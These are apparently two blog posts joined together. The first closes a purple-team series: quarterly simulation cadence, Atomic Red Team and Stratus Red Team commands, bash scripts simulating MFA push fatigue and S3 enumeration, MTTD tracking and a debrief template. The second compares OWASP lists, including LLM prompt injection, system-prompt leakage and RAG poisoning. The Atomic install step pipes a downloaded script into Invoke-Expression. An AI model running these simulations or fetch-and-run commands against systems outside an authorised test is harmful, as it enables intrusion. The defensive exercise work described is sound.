What Is Purple Team?OWASP Top 10 in the CloudBreach Landscape 2020–2025Broken Access ControlMFA FatigueCI/CD SecretsSSRF to IMDSContainer EscapeSupply Chain AttacksCloud Lateral MovementDetection Engineering with eBPFCloud IR PlaybookContinuous Purple Team Testing


TL;DR

  • Continuous purple team testing infrastructure is the practice of running structured attack simulations against your own environment on a quarterly cadence — not as an annual audit, but as an operational discipline
  • Detection time drops exercise-over-exercise when the same technique is simulated repeatedly: the same cross-account AssumeRole technique that took 4 hours to detect in Q4 took 8 minutes by Q2 the following year
  • The toolchain is open source: Atomic Red Team (ATT&CK-mapped) for host-level techniques, Stratus Red Team for cloud-native attack simulations, and custom scripts for what neither covers
  • The debrief template — not the tool — is what turns a simulation into a detection improvement; document what fired, what didn’t, and why before closing the exercise
  • Mean time to detect (MTTD) per technique is the only metric that tells you whether the program is working
  • Frequency of simulation is the independent variable; better tooling and more headcount are not — how often you practice determines how fast you detect

OWASP Mapping: Cross-cutting — this episode validates defenses against every OWASP Top 10 category covered in this series. EP04 (A01 Broken Access Control), EP05 (A07 Auth Failures), EP06 (A08 Software Integrity), EP07 (A10 SSRF), EP08 (A05 Misconfiguration), EP09 (A06 Vulnerable Components), EP10 (A01 lateral movement), EP11 (A09 Monitoring Failures). Continuous purple team testing is how you verify your fixes for all of them actually hold under simulation.


The Big Picture

┌─────────────────────────────────────────────────────────────────────┐
│              QUARTERLY PURPLE TEAM CYCLE                            │
│                                                                     │
│    ┌─────────┐    ┌──────────┐    ┌──────────┐    ┌─────────────┐  │
│    │  PLAN   │───▶│ SIMULATE │───▶│  DETECT  │───▶│   DEBRIEF   │  │
│    │         │    │          │    │  (or miss)│    │             │  │
│    │ • Scope │    │ Red runs │    │           │    │ What fired? │  │
│    │ • Safety│    │ technique│    │ Blue logs │    │ What didn't?│  │
│    │ • Week 1│    │ • Week 2 │    │ results   │    │ • Week 3    │  │
│    └─────────┘    └──────────┘    └──────────┘    └──────┬──────┘  │
│                                                           │         │
│         ┌─────────────────────────────────────────────────┘         │
│         │                                                           │
│         ▼                                                           │
│    ┌─────────┐    ┌──────────┐                                      │
│    │   FIX   │───▶│  REPEAT  │◀──── same technique, updated rules  │
│    │         │    │          │                                      │
│    │ • Rules │    │ Does it  │                                      │
│    │ • Config│    │ catch it │                                      │
│    │ • Week 4│    │ now?     │                                      │
│    └─────────┘    └──────────┘                                      │
│                                                                     │
│    OUTCOME: MTTD drops exercise-over-exercise                       │
│    When MTTD < 10 min: retire technique, rotate in the next one     │
└─────────────────────────────────────────────────────────────────────┘

Continuous purple team testing infrastructure is not a tool you buy or a team you staff. It is a cadence — the same attack path, run repeatedly against your own environment, until detection time drops to a point where the attacker has no useful dwell time.


From EP01 to EP13: The Arc

In EP01, I described a red team engagement where the blue team took 11 days to detect a compromise. The red team used real techniques. The blue team had all the relevant logs. The detection logic just wasn’t tuned to the specific patterns in this specific environment.

That was the same environment, the same attacker playbook, and the same blue team I am about to describe.

Six months later, same scope. Same techniques. The blue team detected in 22 minutes.

Not because they hired anyone new. Not because they switched SIEMs. Not because they bought a new detection product. Because in the intervening six months, they ran four purple team exercises — one per quarter — using the techniques from the first engagement as the test backlog.

Exercise 1: 11 days → 4 hours. Detection rule didn’t exist. Wrote it on the spot during debrief.

Exercise 2: 4 hours → 47 minutes. Rule existed but had a misconfigured threshold that generated false negatives. Fixed during debrief.

Exercise 3: 47 minutes → 38 minutes. Marginal improvement — the technique was becoming well-detected. Rotated in a new technique.

Exercise 4 (new technique): baseline 4+ hours. Same cycle begins.

The number 22 minutes — which is where the original technique sits now — is not a product of better tooling. It is the product of running the simulation four times and fixing the gap found each time.

That is the arc of this series. EP01 defined the practice. EP02 through EP12 gave you the attack backlog. EP13 gives you the program to run them.


Building the Exercise Program

Cadence: The Three Loops

Most organizations treat purple team as an event. An annual penetration test reframed as “collaborative.” One event per year produces one point of data. One point of data is not a trend.

The program that actually moves MTTD operates in three nested loops:

Quarterly exercises — full simulations with red executing and blue observing. Four per year minimum. Each exercise covers one attack path end-to-end, with timestamps, debrief, and detection rule updates. This is the primary loop.

Monthly tabletop drills — no infrastructure required. Two hours. Pull one technique from the backlog, walk through it verbally: “Where would this show up in our logs? What would the CloudTrail event look like? Do we have a rule? What’s the threshold?” No simulation, just shared mental model. Catches drift in detection logic before the quarterly exercise finds it the hard way.

Weekly detection rule reviews — 15-minute async. Run the detection queries that should fire for your most recent exercises. Do they still return results? Rules that worked in October can silently stop working in January when a Terraform apply changes a logging configuration or a GuardDuty region setting drifts. Drift happens without review.

The quarterly exercise is the load-bearing loop. Monthly tabletops and weekly reviews keep it from regressing between exercises.

The Four-Week Exercise Structure

Each quarterly exercise follows the same four-week structure. Deviating from it is how exercises turn into ad hoc sessions with no durable output.

Week 1: Scope Agreement
──────────────────────
□ Which attack path from this series are we testing?
□ Which systems are in scope (account IDs, namespaces, node names)?
□ Circuit breaker: who can call off the exercise and how?
  (One named person. A Slack DM or phone call — not a ticket.)
□ Safety controls: are test accounts isolated from prod data paths?
□ Notification: who needs to know this is happening?
  (Cloud provider account team if large-scale, internal leadership)
□ Pre-exercise baseline: run detection queries now and record results


Week 2: Red Executes, Blue Observes
────────────────────────────────────
□ Red team runs the technique — with the actual tool and actual commands
□ Blue team is watching the SIEM / CloudTrail / Falco / GuardDuty
  in real time during execution
□ Both sides timestamp everything:
  [HH:MM] Technique started
  [HH:MM] First observable artifact (log entry, network event)
  [HH:MM] Alert fired (or: no alert)
  [HH:MM] Blue team acknowledged
□ Do NOT wait until the end to compare notes — call out gaps in real time


Week 3: Debrief and Rule Update
────────────────────────────────
□ Walk through the timeline together — not red presenting to blue
□ For each gap: what data existed? why didn't the rule fire?
  (Data existed + rule wrong: fix the rule)
  (Data existed + rule missing: write the rule)
  (Data didn't exist: fix the logging configuration)
□ Write or update detection rules during the debrief — not as a follow-up ticket
□ Update the runbook: what does the analyst do when this alert fires?
□ Commit all rule changes to version control before the debrief ends


Week 4: Re-Run and Verify
──────────────────────────
□ Red runs the same technique again — no changes to the attack
□ Does the updated detection catch it?
□ Record new MTTD
□ If yes: mark technique as covered, add to retirement queue when MTTD < 10 min
□ If no: iterate — another week of rule work, another re-run
□ Set date and technique for next quarter's exercise

The re-run in Week 4 is not optional. A detection rule written during a debrief and never verified against the actual technique may be logically correct and syntactically wrong, or may fire on a slightly different variant. You don’t know until you run the attack again.

The 10-Attack Rotation from This Series

The techniques in this table are the exercise backlog built across EP04–EP12. Run them in order — or reorder based on your current threat model. The MTTD column is blank until you run the exercise and fill it in.

Quarter Attack Path Source Episode MTTD (Baseline) MTTD (After Exercise)
Q1 2026 SSRF to EC2 IMDS (IMDSv2 enforcement check) EP07
Q2 2026 MFA fatigue simulation against test account EP05
Q3 2026 Container escape via --privileged pod EP08
Q4 2026 Cross-account sts:AssumeRole lateral movement EP10
Q1 2027 CI/CD secrets exposure via environment variable leak EP06
Q2 2027 S3 public access misconfiguration (broken access control) EP04
Q3 2027 Supply chain: unsigned artifact injection into pipeline EP09
Q4 2027 eBPF-visible process anomaly (persistence via cron) EP11
Q1 2028 CloudTrail disable + GuardDuty suppression EP12
Q2 2028 Full path: SSRF → IMDS → AssumeRole → S3 exfil EP07 + EP10

Fill in the MTTD columns as you run. That table, populated over two years, is your program’s evidence of improvement. It is also what you show an auditor, a CISO, or a board when asked “how do you know your security controls work?”


The Toolchain

Atomic Red Team (ATT&CK-Mapped Host Techniques)

Atomic Red Team is Red Canary’s library of ATT&CK-mapped attack simulations. Each atomic test maps to a specific MITRE technique, lists the required permissions, and runs as a self-contained script. The library covers over 900 techniques across Linux, macOS, and Windows.

pwsh -Command "Install-Module -Name invoke-atomicredteam -Scope CurrentUser -Force"

# Install the Atomics folder (the actual test library)
pwsh -Command "Invoke-Expression (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing)"

# List all techniques available for Linux
pwsh -Command "Invoke-AtomicTest All -ShowDetailsBrief -OS linux"

# Inspect a specific technique before running (T1078: Valid Accounts)
pwsh -Command "Invoke-AtomicTest T1078 -ShowDetails"

# Run test #1 for T1078 (shows what commands execute — dry run first)
pwsh -Command "Invoke-AtomicTest T1078 -TestNumbers 1 -CheckPrereqs"

# Execute the test
pwsh -Command "Invoke-AtomicTest T1078 -TestNumbers 1"

# Clean up after the test
pwsh -Command "Invoke-AtomicTest T1078 -TestNumbers 1 -Cleanup"

For the exercises in this series, the most relevant atomic techniques are:

MITRE Technique ID Covers
Valid Accounts T1078 EP05 (credential reuse)
Cloud Instance Metadata API T1552.005 EP07 (IMDS access)
Container Administration Command T1609 EP08 (exec into container)
Steal Application Access Token T1528 EP06 (CI/CD token theft)
Account Discovery T1087.004 EP04, EP10 (IAM enumeration)

Stratus Red Team (Cloud-Native Attack Simulations)

Stratus Red Team is DataDog’s cloud-specific attack simulation framework. Unlike Atomic Red Team (which focuses on host techniques), Stratus covers AWS, GCP, Azure, and Kubernetes attack paths using the actual cloud APIs — the same calls an attacker would make.

# Install (requires Go 1.21+)
go install github.com/DataDog/stratus-red-team/v2/cmd/stratus@latest

# Verify
stratus version

# List all available techniques
stratus list

# List AWS-specific techniques only
stratus list --platform aws

# List Kubernetes techniques
stratus list --platform kubernetes

# Get details on a specific technique before running
stratus show aws.credential-access.ec2-get-user-data

The workflow for each Stratus technique is: warm up (provision prerequisites) → detonate (execute the attack) → cleanup (remove artifacts). Never skip cleanup.

# EP07 exercise: SSRF to IMDS credential access simulation
# Warm up (provisions a test EC2 instance)
stratus warmup aws.credential-access.ec2-get-user-data

# Detonate: simulates accessing EC2 user data to extract credentials
stratus detonate aws.credential-access.ec2-get-user-data

# At this point: check CloudTrail for GetUserData events
# Check GuardDuty for credential access findings
# Record whether your detection fired and when

# Cleanup (terminates the test instance)
stratus cleanup aws.credential-access.ec2-get-user-data
# EP10 exercise: cross-account role assumption
stratus warmup aws.lateral-movement.ec2-instance-connect
stratus detonate aws.lateral-movement.ec2-instance-connect

# Detection check: look for AssumeRole events from unexpected principals
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time $(date -d '1 hour ago' -u +%Y-%m-%dT%H:%M:%SZ) \
  --query 'Events[].{Time:EventTime,User:Username,Source:SourceIPAddress}' \
  --output table

stratus cleanup aws.lateral-movement.ec2-instance-connect
# EP08 exercise: Kubernetes container escape simulation
stratus warmup k8s.privilege-escalation.privileged-pod
stratus detonate k8s.privilege-escalation.privileged-pod

# Detection check: Falco should fire container_escape_detection
# Check kubectl audit logs for privileged pod creation
kubectl get events --field-selector reason=Created -A | grep -i privileged

stratus cleanup k8s.privilege-escalation.privileged-pod

The full Stratus technique list as of this writing covers 50+ AWS techniques and 10+ Kubernetes techniques. Run stratus list after installing to see what’s current — the library is actively maintained and new techniques are added when new attack patterns emerge in the wild.

Building Custom Simulation Scripts

Atomic Red Team and Stratus don’t cover everything. MFA fatigue in particular requires tooling specific to your identity provider. Build simple, focused scripts for the gaps.

#!/bin/bash
# simulate-mfa-fatigue.sh
# Simulates an MFA fatigue attack by triggering repeated push notifications
# to a test account. Run ONLY against a designated test user — never a real
# employee account. The test account should have MFA enabled but no access
# to any production systems.
#
# Usage: ./simulate-mfa-fatigue.sh <test-user-email> <idp-test-api-endpoint>
# Example: ./simulate-mfa-fatigue.sh [email protected] https://idp.internal/test/push

TEST_USER="${1:[email protected]}"
IDP_ENDPOINT="${2:-}"
PUSH_COUNT=10
PUSH_INTERVAL=30  # seconds between pushes

if [ -z "$IDP_ENDPOINT" ]; then
  echo "ERROR: IDP test API endpoint required as second argument"
  exit 1
fi

echo "MFA fatigue simulation"
echo "Target user: $TEST_USER"
echo "Push count: $PUSH_COUNT"
echo "Interval: ${PUSH_INTERVAL}s"
echo ""
echo "Blue team: watch for repeated MFA push events in your IdP logs"
echo "Detection signal: >3 push requests to the same user within 5 minutes"
echo ""

START_TIME=$(date -u +%Y-%m-%dT%H:%M:%SZ)
echo "[$(date -u +%H:%M:%S)] Simulation started — timestamp this for your debrief"

for i in $(seq 1 $PUSH_COUNT); do
  echo "[$(date -u +%H:%M:%S)] Sending push request $i of $PUSH_COUNT..."

  # Trigger push via your IdP's test/simulation API
  # Okta example: POST /api/v1/authn/factors/{factorId}/verify
  # Replace with your IdP's actual test endpoint
  HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "$IDP_ENDPOINT" \
    -H "Content-Type: application/json" \
    -d "{\"username\": \"$TEST_USER\", \"factor\": \"push\", \"simulation\": true}")

  echo "    Response: HTTP $HTTP_STATUS"

  if [ "$i" -lt "$PUSH_COUNT" ]; then
    sleep "$PUSH_INTERVAL"
  fi
done

END_TIME=$(date -u +%Y-%m-%dT%H:%M:%SZ)
echo ""
echo "[$(date -u +%H:%M:%S)] Simulation complete"
echo "Start: $START_TIME"
echo "End:   $END_TIME"
echo ""
echo "Blue team: check IdP logs for push events in this window"
echo "Expected detection: alert on >3 MFA pushes to single user in 5 min"
#!/bin/bash
# simulate-s3-enum.sh
# Simulates the access pattern of an attacker enumerating S3 buckets
# after obtaining IAM credentials. Run in a test AWS account only.
# Purpose: verify CloudTrail ListBuckets and GetBucketAcl events fire
# and that your detection rule catches credential-based enumeration.

echo "[$(date -u +%H:%M:%S)] S3 enumeration simulation starting"
echo "Blue team: watch CloudTrail for ListBuckets from unexpected IAM principal"

# Enumerate buckets
echo "[$(date -u +%H:%M:%S)] ListBuckets..."
aws s3api list-buckets --query 'Buckets[].Name' --output text

# Attempt to read bucket ACLs (generates GetBucketAcl events)
echo "[$(date -u +%H:%M:%S)] Checking ACLs..."
aws s3api list-buckets --query 'Buckets[].Name' --output text | \
  tr '\t' '\n' | \
  while read -r bucket; do
    aws s3api get-bucket-acl --bucket "$bucket" 2>/dev/null | \
      jq -r '.Grants[].Grantee | select(.URI != null) | .URI' | \
      grep -q "AllUsers" && echo "PUBLIC ACL: $bucket"
  done

echo "[$(date -u +%H:%M:%S)] Enumeration complete — check CloudTrail now"

The pattern for custom scripts: timestamp every action, print what the blue team should be watching for, clean up after execution. A simulation script that leaves test resources running is how exercises create incidents instead of preventing them.


Measuring Progress

The metric that matters is MTTD per technique, tracked over time. Everything else — alert count, tool coverage, headcount — is a proxy.

MTTD tracking table: Cross-Account AssumeRole (EP10)
─────────────────────────────────────────────────────
Exercise   Date      Technique              MTTD      Notes
─────────────────────────────────────────────────────
Q4 2025    Oct 12    Cross-acct AssumeRole  4 hours   No detection rule existed
Q1 2026    Jan 18    Cross-acct AssumeRole  45 min    Rule written, threshold wrong
Q2 2026    Apr 5     Cross-acct AssumeRole  8 min     Threshold fixed, alert configured
─────────────────────────────────────────────────────
Status: MTTD < 10 min achieved — technique retired from rotation
Next: Rotate in CI/CD secrets exposure (EP06)

When MTTD falls below 10 minutes for a technique, retire it from the quarterly rotation. Add it to a “verified coverage” list. Run it annually to confirm the detection hasn’t regressed. Rotate a new technique from the backlog into the quarterly slot.

Ten minutes is the threshold because below that, an attacker executing this technique in your environment has less dwell time than it takes them to pivot to the next stage. It’s not a hard security boundary — it is a practical operational signal that the technique is well-detected enough to stop driving your exercise cadence.

Track coverage at the series level:

# Create a coverage tracking file
cat > ~/purple-team-coverage.txt << 'EOF'
Technique                      Episode  Status          MTTD
──────────────────────────────────────────────────────────────
S3 public access (broken ACL)  EP04     Not started     —
MFA fatigue                    EP05     Not started     —
CI/CD secrets (env var leak)   EP06     Not started     —
SSRF to IMDS                   EP07     Not started     —
Container escape (privileged)  EP08     Not started     —
Supply chain (unsigned build)  EP09     Not started     —
Cross-account AssumeRole       EP10     Not started     —
Process anomaly (eBPF-visible) EP11     Not started     —
CloudTrail disable             EP12     Not started     —
Full chain (EP07 + EP10)       EP07+10  Not started     —
EOF

Update the status column after each exercise. “Not started” → “In rotation” → “MTTD: X min” → “Retired (< 10 min)”. That file, kept in version control, is the program’s durable record.


The Debrief Template

The debrief is where the detection improvement happens. Without structure, debriefs turn into post-mortems that produce action items nobody closes. Use this template — fill it out during the debrief, not after.

# Purple Team Exercise Debrief

Exercise:      [name, e.g. "SSRF to IMDS — Q1 2026"]
Date:          [YYYY-MM-DD]
Attack path:   [from which EP, e.g. "EP07: SSRF to Cloud Metadata"]
Participants:  [red team members] / [blue team members]

## Timeline

| Time (UTC) | Event |
|------------|-------|
| HH:MM      | Attack started |
| HH:MM      | First observable artifact (specify: log entry / network event / process spawn) |
| HH:MM      | Alert fired in [tool] — or: no alert |
| HH:MM      | Blue team acknowledged |
| HH:MM      | Exercise concluded |

MTTD this exercise: [X hours / Y minutes / not detected]

## What Fired

- [Tool]: [Alert name / rule name] — fired at [HH:MM], [latency] after attack started
- [Tool]: [Alert name] — fired at [HH:MM]

## What Should Have Fired and Didn't

- [Expected detection] — root cause: [rule missing / rule wrong / data missing / log not ingested]
- [Expected detection] — root cause: [...]

## Root Cause of Gaps

1. [Gap 1]: [Why the detection didn't exist or didn't work — be specific]
2. [Gap 2]: [...]

## Actions

- [ ] Write detection rule for [gap] — owner: [name] — due: [date]
- [ ] Update runbook [X] to include response steps for [alert] — owner: [name]
- [ ] Fix configuration: [Y] — owner: [name] — due: [date]
- [ ] Commit all rule changes to [repo/path] — owner: [name] — due: today

## Re-Run Result (Week 4)

Date:          [YYYY-MM-DD]
MTTD:          [X minutes]
Detection:     [fired / did not fire]
Notes:         [what changed, what's still open]

## Next Exercise

Date:          [target quarter start]
Technique:     [from backlog]
Source:        [EP number]

The most important line in this template is “due: today” for committing rule changes to version control. Detection improvements that live only in the SIEM’s web UI get overwritten by the next infrastructure apply or the next policy sync. They disappear without a trace, and the next exercise finds the same gap again.


Series Closer: What This Series Taught

Looking back across all 13 episodes:

  • EP01 — Purple team is a practice, not a team. Red executes, blue observes, both debrief together.
  • EP02 — OWASP Top 10 applies to infrastructure. Every category has a cloud-native equivalent.
  • EP03 — The 2020–2025 breach landscape is three themes: identity, supply chain, misconfiguration.
  • EP04 — Broken access control is the most common failure. IAM wildcards and public S3 buckets are the infrastructure form.
  • EP05 — MFA fatigue exploits push-based MFA UX. The fix is hardware keys — not training.
  • EP06 — Secrets in CI/CD pipelines are structural, not behavioral. Pre-commit hooks and SAST scanning are the fix.
  • EP07 — IMDSv1 has no authentication. Any SSRF anywhere is a straight line to IAM credentials.
  • EP08--privileged erases the boundary between container and host. Two commands from compromised pod to root on the node.
  • EP09 — Supply chain attacks target the trust chain, not the code. XZ Utils was two years of social engineering.
  • EP10 — Cloud lateral movement is IAM trust misconfiguration, not network pivoting. One overly broad sts:AssumeRole trust policy is enough.
  • EP11 — eBPF sees what CloudTrail doesn’t — kernel-level process and network events in real time, before the attacker’s process exits.
  • EP12 — Incident response quality is inversely proportional to how much you practiced it. The organizations that contain in 4 hours practiced containing in 4 hours.
  • EP13 — Frequency of simulation is the variable that changes detection time.

Every attack in this series exploited something that existed before the attacker arrived. The attacker didn’t create the IAM wildcard, the ungated CI/CD pipeline, the privileged pod, or the IMDSv1 endpoint. They found what was already there.

Purple team is how you find it first.

That’s the entire premise. Thirteen episodes to demonstrate it across ten attack paths. The practice is now yours to run.


What’s Next — Cross-Series

The Purple Team Playbook ends here, but the technical depth that makes it work lives in three other series running in parallel on linuxcent.com:

Kernel-level detection — the eBPF: From Kernel to Cloud series covers everything from kernel hooks and BPF maps to Cilium and runtime security with Tetragon. EP11 in this series referenced eBPF detection; the eBPF series is where the implementation depth lives.

Hardened base images — closing the OS-level attack surface that EP08 and EP09 in this series exploited starts at image build time. The hardened image pipeline gate post covers building signed, minimal base images that eliminate entire attack surface categories before the container ever starts.

The identity layer — every attack in this series ultimately had an IAM component: the overly permissive role, the wildcard policy, the cross-account trust boundary that was too broad. What Is Cloud IAM starts the 12-episode Cloud IAM series that maps the identity architecture underpinning all of it.

These series are designed to be read in parallel — techniques that appear as one-line references in this series get full treatment in the others. The eBPF series covers TC hooks and bpftrace in the depth that EP11 introduced. The IAM series covers sts:AssumeRole trust policies in the depth that EP10 referenced.

Get notified when the next series starts → linuxcent.com/subscribe


⚠ Production Gotchas

Test account isolation is not optional. Every simulation in this series should run in a dedicated AWS account (or GCP project / Azure subscription) with no trust relationships to production accounts. One stratus detonate command that runs in a prod account and modifies IAM trust policies is an incident, not an exercise. The cost of a test account is zero compared to the cost of a real incident.

Stratus leaves state. If you interrupt a stratus detonate run, the warmup infrastructure is still running and costing you money. Always run stratus cleanup even after an interrupted exercise. Add it to a trap in your exercise runbook.

Detection rules written during debriefs may use syntax your SIEM doesn’t support. Rule logic written in a 30-minute debrief window gets reviewed quickly. Run each new rule against 30 days of historical logs before relying on it. A rule that has never matched against known-bad historical data may have a quiet logic error.

Alerting ≠ detection. A rule that fires but routes to a queue no one monitors is not a detection. The debrief template asks “alert fired in [tool]” — confirm the alert also appeared in a queue that an on-call engineer would have seen. Route validation is part of the exercise.

Scope creep kills exercises. The first quarter an exercise runs long, someone proposes “let’s just add two more techniques since we have time.” Don’t. Four well-documented techniques with full debrief and verified re-runs beat ten half-documented techniques with action items that never close. Keep the scope tight. Add techniques by rotating them into the next quarter’s slot.


Quick Reference

Component What It Is When to Use
Atomic Red Team ATT&CK-mapped host technique library Host-level techniques: process execution, credential access, persistence
Stratus Red Team Cloud-native attack simulations AWS/GCP/Azure/K8s API-based attack paths
Custom scripts Org-specific simulations MFA fatigue, IdP-specific attacks, internal tool abuse
MTTD Mean time to detect — measured per technique Primary metric; track over time per technique
Circuit breaker Named person who can halt an exercise Safety control; must be identified in Week 1
Debrief template Structured post-exercise documentation Filled during debrief, committed to version control same day
Retirement threshold MTTD < 10 minutes When to rotate a technique out of quarterly rotation
Coverage list Techniques with verified detections Auditable record of what your program has validated

Key Takeaways

  • Continuous purple team testing infrastructure means running the same attack paths quarterly — not annually — until MTTD per technique drops below 10 minutes
  • The four-week exercise structure (scope → simulate → debrief → re-run) is the unit of work; deviating from it is how exercises produce action items instead of detection improvements
  • Atomic Red Team covers ATT&CK-mapped host techniques; Stratus Red Team covers cloud-native attack simulations; custom scripts cover what neither does
  • The debrief template — filled in during the session, committed to version control before the session ends — is what separates exercises that improve detection from exercises that produce unread reports
  • MTTD < 10 minutes for a technique means retire it and rotate in the next one from the backlog this series gave you
  • The frequency of simulation is the variable that changes detection time. Not the tools. Not the headcount. How often you practice.

The Four OWASP Lists: Web App, API, Cloud-Native, and LLM Compared

Reading Time: 8 minutes

OWASP Top 10 HistoryThe Four OWASP ListsWhy Classic OWASP Breaks for LLMsOWASP LLM Top 10 2025


TL;DR

  • OWASP LLM Top 10 vs OWASP Top 10: four separate lists, four separate attack surfaces — they share underlying failure classes but differ entirely in what the attacker actually does
  • If your system has a web frontend: Web App Top 10 (2021) applies
  • If your system exposes REST or GraphQL APIs: API Security Top 10 (2023) applies
  • If your workloads run on Kubernetes or containers: Cloud-Native App Security Top 10 applies
  • If your system includes an LLM component — even a third-party API call: LLM Top 10 (2025) applies
  • A RAG-based chatbot deployed on Kubernetes behind an API gateway touches all four lists simultaneously — and the attack paths at each layer are different

OWASP Mapping: Orientation episode. This post maps all four OWASP lists to their respective attack surfaces. Subsequent episodes (EP05–EP14) cover each OWASP LLM Top 10 category in depth with Red/Detect/Defend structure.


The Big Picture

WHICH OWASP LIST APPLIES TO YOUR ARCHITECTURE?

Your system component          Applicable OWASP List
──────────────────────────────────────────────────────
Web frontend / rendered HTML   Web App Top 10 (2021)
  └─ XSS, CSRF, clickjacking
  └─ Broken auth, session mgmt

REST/GraphQL API endpoint      API Security Top 10 (2023)
  └─ BOLA/IDOR, mass assignment
  └─ Excessive data exposure
  └─ Unrestricted resource use

Container / Kubernetes workload  Cloud-Native App Sec Top 10
  └─ Misconfigured workloads    (+ Purple Team series)
  └─ Vulnerable images
  └─ Runtime compromise

LLM / AI component             LLM Applications Top 10 (2025)
  └─ Prompt injection          ← this series
  └─ Model/data poisoning
  └─ RAG attacks, agent risks

──────────────────────────────────────────────────────
A single RAG chatbot on K8s behind an API gateway
touches ALL FOUR LISTS at the same time.

If you are deploying an LLM in production, all four lists apply. The question is not which one to use — it’s which part of your system falls under which list, and whether your security coverage has gaps between them.


The Web App Top 10 (2021): The Baseline

The original list. Covers HTTP-layer attacks on applications that serve content or handle user sessions.

What it addresses: Cross-site scripting, SQL injection, broken session management, insecure design at the application layer, misconfigured servers, vulnerable dependencies, server-side request forgery.

What it does not address: How an API client authenticates without a user session. How a Kubernetes workload is compromised at runtime. How an LLM misinterprets user input as an instruction. The 2021 list is the floor — it’s the minimum security bar for anything web-facing.

Primary tool class: DAST (Dynamic Application Security Testing) — OWASP ZAP, Burp Suite. SAST for source-level issues.

When this applies to your LLM system: The web frontend that wraps your chatbot. The admin UI for your AI pipeline. Any HTTP-facing surface — even if the backend is entirely LLM-powered.


The API Security Top 10 (2023): The API Layer

REST and GraphQL introduced attack surfaces that the web app list missed. The API Security Top 10 was published in 2019 and updated in 2023 precisely because API-specific attacks were not adequately covered.

Top categories:
API1: Broken Object Level Authorization (BOLA/IDOR) — the most prevalent API vulnerability; accessing other users’ resources by changing an ID in the request
API3: Broken Object Property Level Authorization — returning or accepting more data than the authenticated principal should see (replaces “Excessive Data Exposure” from 2019)
API4: Unrestricted Resource Consumption — rate limiting gaps that enable abuse or DoS via API
API6: Unrestricted Access to Sensitive Business Flows — no concept of “business logic” in the web app list; APIs expose workflows directly

What it does not address: Model-level behavior. Training-time attacks. Natural language injection. The API Security list treats the model as a black box behind an endpoint.

Why it matters for LLM systems: Your LLM is almost certainly accessed via an API — either a first-party API you built or a third-party API (OpenAI, Anthropic, Bedrock) you call. The API Security list covers that integration layer. An attacker who exploits BOLA against your API doesn’t need to understand prompt injection — they just need to change a user ID in the request.


The Cloud-Native App Security Top 10: The Infrastructure Layer

Containers, Kubernetes, microservices, and cloud-managed services introduced an orchestration layer that neither the web app list nor the API list covered.

Scope: Insecure workload configurations, insufficient network segmentation between microservices, vulnerable or unverified container images, over-permissioned service accounts, exposed cluster management interfaces.

What it does not address: What runs inside the container. If that container runs an LLM, the model’s behavior — prompt injection, system prompt leakage, RAG poisoning — is outside the cloud-native list’s scope.

Why it matters for LLM systems: LLM inference runs on infrastructure. If the pod running your model inference has an over-permissioned service account, an attacker who exploits the model doesn’t need to do anything sophisticated — they can use the pod’s IAM permissions to move laterally. The LLM is the initial access vector; the cloud-native misconfig is the blast radius.

For depth on cloud-native OWASP mapping, see OWASP Top 10 mapped to cloud infrastructure in the Purple Team series. This episode covers the concept; that series covers the attack paths.


The LLM Applications Top 10 (2025): The Model Layer

The attack surface that exists because of the model — not at the web layer, not at the API layer, not at the infrastructure layer, but in the probabilistic behavior of the language model itself and the systems it connects to.

The 10 categories:

# Category What It Covers
LLM01 Prompt Injection Attacker input hijacks model behavior — direct or via retrieved content
LLM02 Sensitive Information Disclosure Model leaks training data, PII, API keys, system prompts via output
LLM03 Supply Chain Compromised model weights, plugins, datasets, or fine-tuning pipelines
LLM04 Data and Model Poisoning Training or fine-tuning data manipulated to introduce backdoors
LLM05 Improper Output Handling Downstream systems consume model output without validation
LLM06 Excessive Agency Autonomous agent tools not scoped to least capability
LLM07 System Prompt Leakage Extraction of hidden system prompt instructions
LLM08 Vector and Embedding Weaknesses RAG vector store poisoning or access control gaps
LLM09 Misinformation Model generates false information presented as fact
LLM10 Unbounded Consumption Uncontrolled token, compute, or API cost consumption

What this list does not cover: The API through which you call the model (that’s the API Security list). The Kubernetes workload running the inference server (that’s the cloud-native list). The web UI that wraps the chatbot (that’s the web app list). The LLM Top 10 is specifically the model-layer attack surface.


Injection Across All Four Lists: A Comparison

“Injection” appears in all four lists. The word is the same. The attack is completely different.

List Category Injection Type Defense
Web App A03 Injection SQL, OS commands, LDAP — structured language injected via HTTP input Parameterized queries, input validation, prepared statements
API Security API8 Security Misconfiguration Mass assignment / property injection — attacker sets fields that should not be writable Input allowlisting, schema validation, explicit field binding
Cloud-Native C4 Insecure Workload Config Environment variable / config injection — attacker controls what gets injected into container at start Immutable config, sealed secrets, workload admission control
LLM Applications LLM01 Prompt Injection Natural language injected into model context — attacker controls what the model interprets as instruction No structural equivalent; requires guardrails, intent classification, output scanning

The web app defense (parameterized queries) works because you can structurally separate data from code. SQL parsers don’t execute string literals as SQL commands. The LLM defense is fundamentally different because the model has no structural boundary between “user data” and “instruction.” Natural language IS the programming language. This is why LLM01 remains the most exploited category and the most difficult to remediate — not because engineers aren’t trying, but because the separation that makes SQL injection solvable doesn’t exist in natural language processing.


Architecture Coverage Map: RAG Chatbot on Kubernetes

Take a concrete system: a customer-facing RAG chatbot deployed on Kubernetes, calling an external LLM API, indexing internal documents in a vector database, with a React frontend and a FastAPI backend.

ATTACK SURFACE MAP

React Frontend            ← Web App Top 10
  └─ XSS, CSRF, clickjacking
  └─ Broken auth (session management)

FastAPI Backend (REST)    ← API Security Top 10
  └─ BOLA: can user A retrieve user B's documents?
  └─ Excessive data exposure in API responses
  └─ Rate limiting on LLM API calls

Kubernetes Cluster        ← Cloud-Native Top 10
  └─ Service account permissions on vector DB pod
  └─ Container image vulnerabilities
  └─ Network policy: can inference pod call anything?

LLM Component             ← LLM Applications Top 10
  └─ Prompt injection via user input (LLM01)
  └─ System prompt leakage (LLM07)
  └─ Vector DB poisoning via document upload (LLM08)
  └─ Agent over-permission on retrieval tools (LLM06)
  └─ Sensitive data in indexed documents leaks (LLM02)

GAPS (attack paths that cross list boundaries):
  Injected prompt → agent calls API endpoint → BOLA
  Compromised K8s service account → access vector DB → LLM08
  XSS on frontend → steal session → BOLA on document retrieval

